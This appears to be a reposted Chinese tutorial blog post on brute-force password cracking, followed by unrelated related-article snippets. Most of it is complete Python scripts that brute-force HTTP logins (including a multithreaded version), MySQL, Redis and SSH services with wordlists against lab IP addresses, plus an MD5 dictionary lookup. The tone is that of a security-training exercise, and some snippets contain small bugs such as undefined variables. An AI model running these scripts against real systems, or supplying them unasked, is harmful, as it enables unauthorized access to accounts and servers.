暴力破解案例

news2025/1/18 6:26:44

暴力破解

1 概述

暴力破解,是一种针对密码的破译方法,将密码进行逐个推算直到找出真正的密码为止。

2 爆破HTTP协议

第一步:实验性发送请求成功
import requests
url = "http://192.172.0.100:8080/woniusales/user/login"
    data = {
        "username":"admin",
        "password":"123456",
        "verifycode":"0000"
    }
    result = requests.post(url=url,data=data)
    if result.text != "login-fail":
        print(f"疑是破解成功,密码是:{password}")
第二步:已知用户名,未知密码破解
import requests

def pojie_http(password):
    url = "http://192.172.0.100:8080/woniusales/user/login"
    data = {
        "username":admin,
        "password":password,
        "verifycode":"0000"
    }
    result = requests.post(url=url,data=data)
    if result.text != "login-fail":
        print(f"疑是破解成功,密码是:{password}")
        exit()
with open(file="password.txt") as f:
    passwordlist = f.readlines()
for passwd in passwordlist:
    passwd = passwd.strip()
    pojie_http(passwd)
第三步:未知用户名密码破解

import requests

def pojie_http(username,password):
    url = "http://192.172.0.100:8080/woniusales/user/login"
    data = {
        "username":username,
        "password":password,
        "verifycode":"0000"
    }
    result = requests.post(url=url,data=data)
    if result.text != "login-fail":
        print(f"疑是破解成功,密码是:{password}")
        exit()

with open(file="password.txt") as f:
    passwordlist = f.readlines()

with open(file="username.txt") as f:
    usernamelist = f.readlines()

for user in usernamelist:
    user = user.strip()
    for passwd in passwordlist:
        passwd = passwd.strip()
        pojie_http(user,passwd)

注意:

1.暴力破解不是100%能破解成功,取决于你是否有强大的字典

2.并不是所有的http协议可以暴力破解

​ 2.1 简单的验证码

​ 2.2 没有错误次数的验证

​ 2.3 明文显示,未经过加密

3 多线程破解

一个用户作为一个线程爆破
for user in usernamelist:
    obj = threading.Thread(target=pojie_http,args=(user,))
    obj.start()
# 1.受到本机的性能影响,最大1300线程
# 2.受到服务器性能影响,最大吞吐量

4 多线程分配任务破解

import threading

import requests

def pojie_http(startindex,endindex):
    url = "http://192.172.0.100:8080/woniusales/user/login"
    for user in usernamelist[startindex:endindex]:
        user = user.strip()
        for passwd in passwordlist:
            passwd = passwd.strip()
            data = {
                "username":user,
                "password":passwd,
                "verifycode":"0000"
            }
            result = requests.post(url=url,data=data)
            if result.text != "login-fail":
                print(f"疑是破解成功,用户名是{user},密码是:{passwd}")
                exit()


if __name__ == '__main__':
    with open(file="username.txt") as f:
        usernamelist = f.readlines()

    with open(file="password.txt") as f:
        passwordlist = f.readlines()

	# 分任务爆破,启动100个线程,每个线程跑20个用户,每个用户跑所有的密码,根据服务器动态调整线程个数
    for index in range(100):
        start = 20 * index
        end =  20 * (index + 1)
        obj = threading.Thread(target=pojie_http,args=(start,end))  # 0-10  10-20 20-30 30-40 ...190-200
        obj.start()

5 MD5爆破

MD5无法逆推解密,只能通过穷举法反向查询


import hashlib

def pojie_md5(source,target):
    h_md5 = hashlib.md5(source.encode()).hexdigest()
    print(h_md5)
    if h_md5 == target:
        print(f"怀疑是破解成功:{source}")
        exit()


if __name__ == '__main__':
    target = "e10adc3949ba59abbe56e057f20f883e"
    with open(file="password.txt") as f:
        data_list = f.readlines()
    for i in data_list:
        i = i.strip()
        pojie_md5(source=i,target=target)

6 MySQL爆破

import pymysql

def pojie_mysql(passwd):
    try:
        conn = pymysql.connect(user="root",password=passwd,port=3306,host="192.172.0.100")
    except:
        pass
    # 连接成功什么都没有  连接失败报错
    else:
        print(f"疑是破解成功:{passwd}")
        exit()




if __name__ == '__main__':
    with open(file="password.txt") as f:
        data_list = f.readlines()
    for passwd in data_list:
        pojie_mysql(passwd.strip())

7 Redis爆破

import redis
def pojie_redis(passwd):
    try:
        redis_obj = redis.Redis(host="192.172.0.101",password=passwd,db=0)
        redis_obj.ping()
    except:
        pass
    else:
        print(f"密码是{passwd}")
        exit()
if __name__ == '__main__':
    with open(file="password.txt") as f:
        data_list = f.readlines()
    for passwd in data_list:
        pojie_redis(passwd.strip())

8 SSH爆破

import paramiko
from paramiko.client import AutoAddPolicy
def pojie_ssh(passwd):
    try:
        ssh = paramiko.SSHClient()
        ssh.set_missing_host_key_policy(AutoAddPolicy)
        ssh.connect(hostname="192.172.0.100",username="root",password=passwd)
    except:
        pass
    else:
        print(f"密码是{passwd}")
        exit()

if __name__ == '__main__':
    with open(file="password.txt") as f:
        data_list = f.readlines()
    for passwd in data_list:
        pojie_ssh(passwd.strip())

9 爆破工具

https://blog.csdn.net/m0_59598029/article/details/133217000

https://blog.51cto.com/u_16213303/10539031

https://www.zhihu.com/tardis/bd/art/558677293?source_id=1001

image-20241010112539712

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2214344.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

CUDA - nvprof 性能刨析

nvprof 是一个可执行文件&#xff0c;使用everything搜索可以看到它在&#xff1a; 执行命令&#xff1a; nvprof exe_name 如何在windows 下使用&#xff0c;可以参看: windows下使用nvcc和nvprof。 示例 #include <cuda_runtime.h> #include <device_launch_par…

YOLOv8实战水果识别【数据集+YOLOv8模型+源码+PyQt5界面】

本文采用YOLOv8作为核心算法框架&#xff0c;结合PyQt5构建用户界面&#xff0c;使用Python3进行开发。YOLOv8以其高效的实时检测能力&#xff0c;在多个目标检测任务中展现出卓越性能。本研究针对水果数据集进行训练和优化&#xff0c;该数据集包含丰富的水果图像样本&#xf…

Merlion笔记(二):单变量时间预测

1 简单示例 我们首先导入Merlion的TimeSeries类和M4数据集的数据加载器。然后&#xff0c;我们可以将该数据集中的特定时间序列划分为训练集和测试集。 from merlion.utils import TimeSeries from ts_datasets.forecast import M4time_series, metadata M4(subset"Hou…

ClickHouse入库时间与实际相差8小时问题

原因一&#xff1a;服务端未修改默认时区 解决方案&#xff1a; 1、找 ClickHouse 配置文件 config.xml&#xff0c;通常位于 /etc/clickhouse-server/ 目录。 2、编辑 config.xml 文件&#xff0c;找到 标签。如果标签不存在&#xff0c;需要手动添加。 3、修改 标签的内容为 …

docker部署dvwa靶场

一、简述前情 最近差不多又是网安专业的同学搭建靶场的时候了&#xff0c;DVWA&#xff08;Damn Vulnerable Web Application&#xff09;是安全入门者们最为熟知的练习靶场&#xff0c;它能够帮助小白对常见的安全问题进行理解&#xff0c;并且随着理解问题的深入自主调整靶场…

Redis-02 数据持久化

redis持久化即将数据从内存写入磁盘&#xff0c;Redis提供了两种持久化的方式&#xff1a;RDB和AOF。 1.RDB RDB持久化&#xff1a;Redis可以将内存中的数据定期快照保存到磁盘上的一个二进制文件中。RDB持久化是一种比较紧凑的文件格式&#xff0c;适用于备份和灾难恢复。通过…

vue3中监视 Reactive对象中的属性

watch 的第一个参数可以是不同形式的“数据源”&#xff1a;它可以是一个 ref (包括计算属性)、一个响应式对象、一个 getter 函数、或多个数据源组成的数组 一、框架&#xff1a; <template><div class"divBox"><h2>姓名&#xff1a;{{ person.…

【深圳大学/大学物理实验2】超声探伤实验 实验前预习题答案参考

一、单选题 共 6 小题 共 31 分 1. (5分)电偶极矩的单位是&#xff08; &#xff09; 学生答案&#xff1a;B √ A. B. C. D. 2. (5分)本实验中产生超声波的方法是&#xff08; &#xff09; 学生答案&#xff1a;D √ A. 热电效应 B. 光电效应 C. 电磁效应 D. 压电效…

【专题】关系数据库标准语言SQL

1. SQL语言介绍 SQL(Structured Query Language)是结构化查询语言&#xff0c;它是一种在关系数据库中定义和操纵数据的标准语言&#xff0c;是用户与数据库之间进行交流的接口。 1.1 SQL数据库的体系结构 使用SQL关系数据库的特点&#xff1a; SQL用户可以是应用程序&#xf…

闯关leetcode——100. Same Tree

大纲 题目地址内容 解题代码地址 题目 地址 https://leetcode.com/problems/same-tree/description/ 内容 Given the roots of two binary trees p and q, write a function to check if they are the same or not. Two binary trees are considered the same if they are…

PHP简单登录系统

目录 用户数据文件 (users.php) HTML 登录表单 (login.html) PHP 登录处理脚本 (login_process.php) 欢迎页面 (welcome.php) 注销脚本 (logout.php) 效果展示 用户名和密码错误时 用户名和密码正确时 用户数据文件 (users.php) 用于保存用户信息&#xff0c;用户名和他…

【PUSCH的时域资源分配】

DCI format 0_0/0_1用于调度PDSCH传输&#xff0c;每种格式都包含了时域和频域资源的分配字段。 和PDSCH一样&#xff0c;PUSCH也支持Type A和Type B两种映射类型&#xff0c;但是有效的S和L组合不同。 同样&#xff0c;当UE通过DCI调度PUSCH时&#xff0c;DCI的时域资源分配…

日语学习柯桥外语培训jlpt备考「意地」是什么意思?

「意地」 N1单词 意地&#xff08;いじ&#xff09; 词性&#xff1a;名词 含义&#xff1a;心术&#xff0c;用心&#xff1b;固执&#xff0c;倔强&#xff1b;志气&#xff0c;气魄&#xff1b;嘴馋&#xff0c;贪婪 例句&#xff1a; ▲自分が始めたことだから意地でもや…

长三角智驾花絮

杜轩第一次去说服清洁工&#xff0c;收养狗儿&#xff0c;结果清洁工说有人收养了狗&#xff0c;结果狗引起交通事故主人赔钱。第二次尝试说服大妈收养狗儿&#xff0c;大妈给狗儿一脚&#xff0c;说狗儿把她厕所搞脏了。第三次看路上的美女&#xff0c;去说服美女收养&#xf…

UE5运行时动态加载场景角色动画任意搭配-全流程代码(四)

UE5运行时动态加载场景、角色、角色动画、相机动画任意搭配,Android、iOS也可以跑,横竖屏兼容,手机竖屏: 1、场景切换UWorld处理 在通过OpenLevel进行场景切换的时候,UWorld会发生变化,需要我们获取正确的UWorld。 1、在GameInstance监听Level加载 void UMyGameInsta…

nemo-guardrails简单应用

环境&#xff1a;openEuler、python 3.11.6、nemoguardrails 0.10.1、Azure openAi 背景&#xff1a;工作需要&#xff0c;进行调研期间&#xff0c;发现问题太多&#xff0c;且国内网站好多没说明具体问题 时间&#xff1a;20241014 说明&#xff1a;搭建过程中主要是下载h…

ARMA3 STATUS_ACCESS _VIOLATION退出解决方法测试

方法1 [SOLVED] 0xc0000005 status_access_violation ARMA 3 (youtube.com) 启动器-参数-平台 改32位。 没卵用。 方法2 ArmA 3 "STATUS_ACCESS_VIOLATION" FIX!! [2018] (youtube.com) steam-ARMA3-属性-通用-启动选项&#xff1a;粘贴路径&#xff0c;后面加-…

基于FPGA的以太网设计(三)

通过前文介绍了RGMII接口时序我们可以知道&#xff0c;RGMII接口是在时钟信号的上升沿和下降沿均进行数据的传输&#xff0c;而FPGA则在时钟的单沿传输数据&#xff0c;因此我们需要编写代码将RGMII接口转换为GMII接口。 由于前面的介绍我们知道RTL8211默认工作在延时状态&…

体能攻略梳理

最近在锻炼身体&#xff0c;但如何才能更好的锻炼&#xff1f;最近看了慕课上的体能攻略&#xff08;https://www.icourse163.org/learn/HZIC-1206696841&#xff09;&#xff0c;讲的特别好。希望大家看了就是会了&#xff0c;看了就是做了&#x1f601;。 基本知识 减脂别只…

数据库常见面试

8道面试题 目录 目录 7道面试题 1.怎样进行sql优化 4、group by优化 5、limit优化 6、count优化 7、update优化 2.。怎样查看sql执行情况呢(哪个关键字)&#xff0c;说说你对这个关键字的认识 4) possible_key&#xff1a; 5) key 3.说说你对innodb和 myisam的理解 …